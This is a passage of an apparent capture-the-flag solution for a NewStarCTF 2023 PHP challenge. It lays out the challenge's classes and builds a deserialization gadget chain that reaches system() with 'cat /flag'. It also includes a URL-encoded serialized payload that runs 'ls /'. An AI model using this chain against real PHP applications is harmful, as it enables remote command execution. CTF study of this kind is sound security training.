public function __destruct() { if(preg_match("/[a-zA-Z0-9]/",$this->name)){ echo "Hello"; }else{ echo "Welcome to NewStarCTF 2023!"; } } }
class Then{ public $func;
public function __toString() { ($this->func)(); //$this->func=new 类名(); return"Good Job!"; }
}
class Handle{ public $obj;
public function __call($func, $vars) { echo "call"; $this->obj->end(); }
}
class Super{ public $obj; public function __invoke() // 字母数字() { echo "invoke"; $this->obj->getStr(); }
public functionend() { die("==GAME OVER=="); } }
class CTF{ public $handle;
public functionend() { echo "end"; unset($this->handle->log); }
}
class WhiteGod{ public $func; public $var;
public function __unset($var) { ($this->func)($this->var); } }
$a = new Begin(); $a->name = new Then(); $a->name->func = new Super(); $a->name->func->obj = new Handle(); $a->name->func->obj->obj = new CTF(); $a->name->func->obj->obj->handle = new WhiteGod(); $a->name->func->obj->obj->handle->func='system'; $a->name->func->obj->obj->handle->var='cat /flag'; echo urlencode(serialize($a)); //O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A4%3A%22func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A4%3A%22ls+%2F%22%3B%7D%7D%7D%7D%7D%7D